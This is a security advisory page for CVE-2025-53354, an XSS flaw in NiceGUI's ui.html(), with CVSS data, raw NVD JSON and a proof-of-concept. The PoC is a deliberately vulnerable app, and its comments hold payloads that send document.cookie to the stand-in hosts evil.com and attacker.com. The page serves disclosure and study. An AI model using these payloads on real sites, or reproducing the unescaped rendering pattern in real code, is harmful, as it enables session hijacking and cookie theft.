Security Vulnerability Report
中文
CVE-2025-53354 CVSS 6.1 MEDIUM

CVE-2025-53354

Published: 2025-10-03 20:15:33
Last Modified: 2026-04-15 00:35:42

Description

NiceGUI is a Python-based UI framework. Versions 2.24.2 and below are at risk for Cross-Site Scripting (XSS) when developers render unescaped user input into the DOM using ui.html(). NiceGUI did not enforce HTML or JavaScript sanitization, so applications that directly combine components like ui.input() with ui.html() or ui.chat_message with HTML content without escaping may allow attackers to execute arbitrary JavaScript in the user’s browser. Applications that do not pass untrusted input into ui.html() are not affected. This issue is fixed in version 3.0.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NiceGUI <= 2.24.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53354 - NiceGUI XSS Vulnerability PoC # This PoC demonstrates the XSS vulnerability in NiceGUI <= 2.24.2 # when untrusted user input is rendered via ui.html() without sanitization. from nicegui import ui @ui.page('/') def main_page(): ui.label('NiceGUI XSS Demo (CVE-2025-53354)') # User input field - attacker controls the content user_input = ui.input(label='Enter your message') # VULNERABLE: ui.html() renders raw HTML/JS without sanitization # An attacker can inject: <script>alert('XSS')</script> # or: <img src=x onerror="document.location='http://evil.com/steal?c='+document.cookie"> def render(): ui.html(f'<div>Your message: {user_input.value}</div>') ui.button('Submit', on_click=render) # Attack payload examples: # Payload 1 (Basic XSS): <script>alert('XSS-Vulnerable')</script> # Payload 2 (Cookie theft): <img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)"> # Payload 3 (Session hijack): <script>document.location='http://attacker.com/'+document.cookie</script> ui.run(port=8080)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53354", "sourceIdentifier": "[email protected]", "published": "2025-10-03T20:15:33.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. Versions 2.24.2 and below are at risk for Cross-Site Scripting (XSS) when developers render unescaped user input into the DOM using ui.html(). NiceGUI did not enforce HTML or JavaScript sanitization, so applications that directly combine components like ui.input() with ui.html() or ui.chat_message with HTML content without escaping may allow attackers to execute arbitrary JavaScript in the user’s browser. Applications that do not pass untrusted input into ui.html() are not affected. This issue is fixed in version 3.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/commit/4673dc35c94a0c7339e2164378b0977332e60775", "source": "[email protected]"}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-8c95-hpq2-w46f", "source": "[email protected]"}]}}